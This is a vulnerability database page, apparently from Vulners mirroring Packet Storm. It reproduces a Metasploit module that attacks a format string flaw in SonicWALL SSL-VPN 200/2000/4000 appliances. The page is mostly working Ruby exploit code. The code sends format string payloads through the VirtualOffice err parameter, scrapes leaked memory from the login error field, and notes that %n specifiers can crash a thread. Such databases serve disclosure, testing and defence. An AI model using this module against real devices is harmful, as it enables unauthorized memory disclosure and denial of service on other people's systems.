Lucene search
K

SonicWALL SSL-VPN Format String

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 158 Views

SonicWALL SSL-VPN Format String Vulnerability in 200, 2000 and 4000 series allows arbitrary memory read/write within a 127-character limit. Possible remote code execution with physical access and debugging

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SonicWALL SSL-VPN Format String Vulnerability',  
'Description' => %q{  
There is a format string vulnerability within the SonicWALL  
SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory  
can be read or written to, depending on the format string used.  
There appears to be a length limit of 127 characters of format  
string data. With physical access to the device and debugging,  
this module may be able to be used to execute arbitrary code remotely.  
},  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'BID', '35145' ],  
#[ 'CVE', '' ], # no CVE?  
[ 'OSVDB', '54881' ],  
[ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],  
],  
'DisclosureDate' => '2009-05-29'))  
  
register_options([  
OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),  
OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
])  
end  
  
def run  
if (datastore['FORMAT'].length > 125) # Max length is 127 bytes  
print_error("FORMAT string length cannot exceed 125 bytes.")  
return  
end  
  
fmt = datastore['FORMAT'] + "XX" # XX is 2 bytes used to mark end of memory garbage for regexp  
begin  
res = send_request_raw({  
'uri' => normalize_uri(datastore['URI']) + fmt,  
})  
  
if res and res.code == 200  
res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)  
print_status("Information leaked: #{$1}")  
end  
  
print_status("Request sent to #{rhost}:#{rport}")  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Couldn't connect to #{rhost}:#{rport}")  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation